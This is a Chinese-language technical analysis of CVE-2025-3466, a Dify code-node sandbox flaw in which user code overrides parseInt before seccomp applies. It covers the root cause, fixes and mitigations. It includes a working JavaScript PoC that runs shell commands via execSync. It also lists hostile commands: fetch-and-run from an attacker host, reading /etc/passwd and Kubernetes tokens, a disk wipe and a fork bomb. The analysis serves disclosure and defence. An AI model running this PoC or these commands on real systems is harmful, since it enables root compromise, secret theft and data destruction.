深度剖析 CVE-2025-3466：Langgenius Dify 代码节点未净化输入导致的高危任意代码执行漏洞

引言：从漏洞披露到技术本质

2025 年 7 月 7 日，CVE-2025-3466 被正式披露 —— 这一编号背后是 Langgenius Dify 1.1.0 至 1.1.2 版本中存在的高危任意代码执行漏洞，CVSS 评分高达 9.8 分。此前的分析已揭示其核心是 “沙箱初始化时机漏洞”，但当我们深入到代码层面，会发现这一漏洞的根源是代码执行顺序的致命疏忽与输入净化机制的完全缺失。本文将结合 Huntr 披露的技术细节与漏洞证明（PoC），从代码逻辑、利用方式到防御措施进行全方位拆解。

漏洞回顾：为何 9.8 分的风险如此致命？

Langgenius Dify 是一款广泛使用的 AI 应用开发平台，其 “代码节点” 功能允许用户编写 JavaScript 代码实现自定义逻辑。为限制代码权限，平台设计了基于 seccomp（Linux 安全机制）的沙箱环境，但这一保护机制被一个看似微小的代码顺序问题彻底突破：

• 核心矛盾：用户代码在沙箱安全限制生效之前被执行，导致攻击者可通过覆盖全局函数（如 parseInt）劫持沙箱初始化过程，最终以 root 权限执行任意命令。
• 攻击门槛：无需认证（PR:N）、无需用户交互（UI:N）、远程可利用（AV:N），意味着任何能访问 Dify 代码节点功能的攻击者都能轻松利用。

深入代码层面：漏洞的根源剖析

要理解这一漏洞，必须从 Dify 处理代码节点的底层逻辑入手。Huntr 披露的技术细节揭示了两个关键文件的代码逻辑：prescript.js（沙箱初始化脚本）与 nodejs.go（代码执行器）。

1. prescript.js：沙箱启动前的 “致命延迟”

prescript.js 是 Dify 用于初始化沙箱环境的前置脚本，其核心代码如下（简化版）：

// prescript.js 核心逻辑
const argv = process.argv;
const koffi = require('koffi');
const lib = koffi.load('./var/sandbox/sandbox-nodejs/nodejs.so');
const difySeccomp = lib.func('void DifySeccomp(int, int, bool)'); // [1] 定义安全限制函数

// 解析用户 ID、组 ID 和配置
const uid = parseInt(argv[2]); // [2] 调用 parseInt（关键！）
const gid = parseInt(argv[3]); // [2] 再次调用 parseInt
const options = JSON.parse(argv[4]);

difySeccomp(uid, gid, options['enable_network']); // [3] 施加 seccomp 安全限制

这段代码的致命缺陷在于：difySeccomp（施加沙箱限制的函数）在第 [3] 步才被调用，而在此之前的第 [2] 步已经调用了 parseInt。如果攻击者能在 parseInt 被调用前覆盖它，就能在沙箱限制生效前执行恶意代码。

2. nodejs.go：用户代码与前置脚本的 “危险拼接”

Dify 的 nodejs.go 负责将用户提交的代码与 prescript.js 拼接并执行，关键逻辑如下：

// nodejs.go 中拼接代码的逻辑
func (p *NodeJsRunner) InitializeEnvironment(code string, preload string, root_path string) (string, error) {
    node_sandbox_file := string(nodejs_sandbox_fs) // 即 prescript.js
    if preload != "" {
        node_sandbox_file = fmt.Sprintf("%s\n%s", preload, node_sandbox_file)
    }
    // 将 prescript.js 与用户代码拼接（用户代码在后面）
    code = node_sandbox_file + code // [4] 致命拼接：用户代码在 prescript.js 之后执行
    ...
}

这意味着最终执行的代码顺序是：
prescript.js 的内容 → 用户提交的代码

当代码执行时，用户代码会在 prescript.js 运行到一半时被插入 —— 具体来说，是在 parseInt 被调用（第 [2] 步）之前，还是之后？

答案是：用户代码会在 prescript.js 开始执行后、difySeccomp 调用前被执行。这是因为整个拼接后的代码是按顺序从上到下执行的，用户代码中的函数定义会覆盖全局函数（如 parseInt），而 prescript.js 后续的 parseInt 调用会使用被覆盖的恶意版本。

执行顺序 | 代码位置          | 关键操作
---------|------------------|------------------------------
1        | prescript.js     | 定义 difySeccomp 函数
2        | 用户代码          | 覆盖全局 parseInt 为恶意函数
3        | prescript.js     | 调用 parseInt(argv[2]) → 触发恶意代码
4        | prescript.js     | 调用 difySeccomp() → 施加安全限制（此时已晚）

在第 2 步，用户代码中的恶意 parseInt 覆盖了原生函数；第 3 步，prescript.js 调用 parseInt 时，恶意代码以未受限制的权限（root）执行，此时沙箱限制尚未生效（第 4 步才施加）

漏洞利用实证：PoC 代码如何拿下系统控制权

Huntr 提供的 Proof of Concept（PoC）清晰展示了攻击过程，只需在 Dify 代码节点中提交以下 JavaScript 代码，即可执行系统命令并获取结果：

// PoC.js：在 Dify 代码节点中执行的恶意代码
var data; // 用于存储命令执行结果

function main() {
    return { result: data }; // 将结果返回给用户（展示执行效果）
}

// 覆盖全局 parseInt 函数
function parseInt() {
    const { execSync } = require('child_process'); // 引入子进程模块
    data = execSync("ls -la /", { encoding: "utf8" }); // 执行命令：列出根目录文件
    return 0; // 伪装成正常 parseInt 的返回值（避免报错）
}

PoC 执行流程解析

1. 覆盖全局函数：用户代码定义了 parseInt 函数，覆盖了 JavaScript 原生的 parseInt。
2. 等待触发：当 prescript.js 执行到 const uid = parseInt(argv[2]) 时，会调用这个恶意 parseInt。
3. 执行系统命令：恶意 parseInt 中通过 child_process.execSync 执行 ls -la /，获取根目录文件列表，并将结果存入 data。
4. 返回结果：main 函数将 data 作为结果返回，攻击者可在 Dify 界面看到命令执行的输出，证明漏洞利用成功。

更危险的是，将 ls -la / 替换为 cat /etc/passwd 可获取用户列表，替换为 curl http://attacker.com/backdoor | sh 可植入后门，实现对系统的完全控制。

潜在危害：从信息泄露到内网渗透

结合 PoC 与技术细节，该漏洞的危害远超普通代码执行：

• 敏感信息窃取：可读取 /var/run/secrets/kubernetes.io/serviceaccount/token 获取 K8s 集群令牌，或 /app/.env 中的 API 密钥、数据库密码；
• 内网横向移动：通过执行 ifconfig 获取内网 IP 段，利用 curl 扫描内部服务，进而攻击 Dify 所在的内网环境；
• 容器破坏与 DDoS：执行 dd if=/dev/zero of=/dev/sda 可耗尽磁盘空间，或 forkbomb（:(){ :|:& };:）导致容器崩溃；
• 持久化控制：写入 cron 任务或 SSH 公钥，实现对服务器的长期控制。

修复方案：如何堵住这一致命漏洞？

Langgenius 在 Dify 1.1.3 版本中修复了该漏洞，结合漏洞原理，修复措施应包括：

1. 调整代码执行顺序：确保 difySeccomp（安全限制）在用户代码执行前调用，彻底避免沙箱生效前的 “窗口期”。

   例如，修改 prescript.js 与用户代码的拼接逻辑，让 difySeccomp 优先执行：

   // 修复后的执行顺序
   difySeccomp(uid, gid, options['enable_network']); // 先施加限制
   // 再执行用户代码（此时全局函数已受保护）

2. 保护全局函数：对 parseInt 等全局函数进行冻结（Object.freeze(parseInt)），防止被用户代码覆盖。

3. 输入净化与沙箱强化：在拼接用户代码前，过滤或禁止对全局函数的重定义，例如检测 function parseInt 等危险模式并拒绝执行。

4. 最小权限原则：运行代码节点的进程应使用非 root 权限，即使漏洞被利用，攻击者也无法获得系统最高权限。

防御建议：临时缓解与长期安全措施

对于暂时无法升级到 1.1.3 版本的用户，可采取以下临时措施：

• 禁用代码节点功能：在 Dify 后台关闭 “代码节点” 模块，阻止攻击者利用入口；
• 网络隔离：限制 Dify 服务器的出站网络连接，禁止访问内网敏感服务（如 K8s API、数据库）；
• 命令审计：部署进程监控工具（如 auditd），记录 child_process.exec 等危险函数的调用，及时发现攻击。

长期来看，需建立 “沙箱安全开发规范”：

• 所有用户代码必须在沙箱完全初始化后执行；
• 对全局对象和函数进行严格保护，禁止用户代码覆盖；
• 定期进行第三方安全审计，重点检查代码执行模块。

结语：细节决定安全边界

CVE-2025-3466 看似是一个 “顺序问题”，却暴露出开源项目在安全设计上的深层缺陷：沙箱机制的有效性不仅取决于功能是否存在，更取决于其启用时机与执行顺序。对于开发者而言，这一案例警示我们：在处理用户输入与系统权限的交界处，任何微小的逻辑疏忽都可能导致 “千里之堤，溃于蚁穴”。

建议所有 Dify 用户立即升级至 1.1.3 版本，并对照本文的技术细节进行安全自查。安全无小事，及时行动是防范风险的最佳方式。

参考资料：

 

• Huntr 漏洞详情
• Dify 修复 Commit